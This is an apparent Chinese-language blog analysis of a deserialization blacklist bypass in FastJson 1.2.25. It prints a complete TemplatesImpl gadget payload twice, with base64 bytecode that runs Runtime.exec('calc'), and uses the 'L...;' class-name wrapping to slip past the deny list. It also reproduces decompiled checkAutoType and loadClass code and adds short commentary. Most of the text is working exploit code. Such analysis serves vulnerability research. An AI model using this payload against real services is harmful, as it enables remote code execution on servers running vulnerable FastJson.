FastJson 1.2.25绕过分析

0x01 版本依赖

pom添加依赖

<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.25</version>
</dependency>

 0x02 代码分析

这里通过代码开启了autoType

public class test_payload {
    public static void main(String[] args) {
        String text = "{\"@type\":\"Lcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;\",\"_bytecodes\":[\"yv66vgAAADIANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAtManNvbi9UZXN0OwEACkV4Y2VwdGlvbnMHACwBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHAC0BAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABGFyZ3MBABNbTGphdmEvbGFuZy9TdHJpbmc7AQABdAcALgEAClNvdXJjZUZpbGUBAAlUZXN0LmphdmEMAAgACQcALwwAMAAxAQAEY2FsYwwAMgAzAQAJanNvbi9UZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABwAAAAAABAABAAgACQACAAoAAABAAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAIACwAAAA4AAwAAABEABAASAA0AEwAMAAAADAABAAAADgANAA4AAAAPAAAABAABABAAAQARABIAAQAKAAAASQAAAAQAAAABsQAAAAIACwAAAAYAAQAAABcADAAAACoABAAAAAEADQAOAAAAAAABABMAFAABAAAAAQAVABYAAgAAAAEAFwAYAAMAAQARABkAAgAKAAAAPwAAAAMAAAABsQAAAAIACwAAAAYAAQAAABwADAAAACAAAwAAAAEADQAOAAAAAAABABMAFAABAAAAAQAaABsAAgAPAAAABAABABwACQAdAB4AAgAKAAAAQQACAAIAAAAJuwAFWbcABkyxAAAAAgALAAAACgACAAAAHwAIACAADAAAABYAAgAAAAkAHwAgAAAACAABACEADgABAA8AAAAEAAEAIgABACMAAAACACQ=\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }}";
        JSON.parseObject(text, Feature.SupportNonPublicField);
    }
}

而在判断autoType是否为true之后，进行了黑白名单校验

在此版本中，白名单是无内容的

而黑名单校验尤为显著

假设没有开启AutoType的话

 if (!this.autoTypeSupport) {
                    String accept;
                    int i;
                    for(i = 0; i < this.denyList.length; ++i) {
                        accept = this.denyList[i];
                        if (className.startsWith(accept)) {
                            throw new JSONException("autoType is not support. " + typeName);
                        }
                    }

                    for(i = 0; i < this.acceptList.length; ++i) {
                        accept = this.acceptList[i];
                        if (className.startsWith(accept)) {
                            clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
                            if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
                                throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                            }

                            return clazz;
                        }
                    }
                }

首先是黑名单校验，稍后是白名单，只是顺序颠倒了

绕过方式第一种，开启autoType

在此处，如果没有开启autoType，是无法使用loadClass的。

loadClass代码如下：

1.如果字符是[开头，从网上看师傅们的文章说是可以绕过。

但是本人调试发现一个问题。。如果开头是[ 字符，开头的内容就为[L 结尾会带上 ; 所以本人调试是没有利用成功的。。

2.如果字符是

L开头 ;结尾

String text = "{\"@type\":\"Lcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;\",\"_bytecodes\":[\"yv66vgAAADIANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAtManNvbi9UZXN0OwEACkV4Y2VwdGlvbnMHACwBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHAC0BAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABGFyZ3MBABNbTGphdmEvbGFuZy9TdHJpbmc7AQABdAcALgEAClNvdXJjZUZpbGUBAAlUZXN0LmphdmEMAAgACQcALwwAMAAxAQAEY2FsYwwAMgAzAQAJanNvbi9UZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABwAAAAAABAABAAgACQACAAoAAABAAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAIACwAAAA4AAwAAABEABAASAA0AEwAMAAAADAABAAAADgANAA4AAAAPAAAABAABABAAAQARABIAAQAKAAAASQAAAAQAAAABsQAAAAIACwAAAAYAAQAAABcADAAAACoABAAAAAEADQAOAAAAAAABABMAFAABAAAAAQAVABYAAgAAAAEAFwAYAAMAAQARABkAAgAKAAAAPwAAAAMAAAABsQAAAAIACwAAAAYAAQAAABwADAAAACAAAwAAAAEADQAOAAAAAAABABMAFAABAAAAAQAaABsAAgAPAAAABAABABwACQAdAB4AAgAKAAAAQQACAAIAAAAJuwAFWbcABkyxAAAAAgALAAAACgACAAAAHwAIACAADAAAABYAAgAAAAkAHwAgAAAACAABACEADgABAA8AAAAEAAEAIgABACMAAAACACQ=\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }}";

都会进行剔除并加载。

 public static Class<?> loadClass(String className, ClassLoader classLoader) {
        if (className != null && className.length() != 0) {
            Class<?> clazz = (Class)mappings.get(className);
            if (clazz != null) {
                return clazz;
            } else if (className.charAt(0) == '[') {
                Class<?> componentType = loadClass(className.substring(1), classLoader);
                return Array.newInstance(componentType, 0).getClass();
            } else if (className.startsWith("L") && className.endsWith(";")) { //此处判断
                String newClassName = className.substring(1, className.length() - 1);//会剔除掉L与;
                return loadClass(newClassName, classLoader);
            } else {
                try {
                    if (classLoader != null) {
                        clazz = classLoader.loadClass(className);
                        mappings.put(className, clazz);
                        return clazz;
                    }
                } catch (Throwable var6) {
                    var6.printStackTrace();
                }

                try {
                    ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
                    if (contextClassLoader != null && contextClassLoader != classLoader) {
                        clazz = contextClassLoader.loadClass(className);
                        mappings.put(className, clazz);
                        return clazz;
                    }
                } catch (Throwable var5) {
                }

                try {
                    clazz = Class.forName(className);
                    mappings.put(className, clazz);
                    return clazz;
                } catch (Throwable var4) {
                    return clazz;
                }
            }
        } else {
            return null;
        }
    }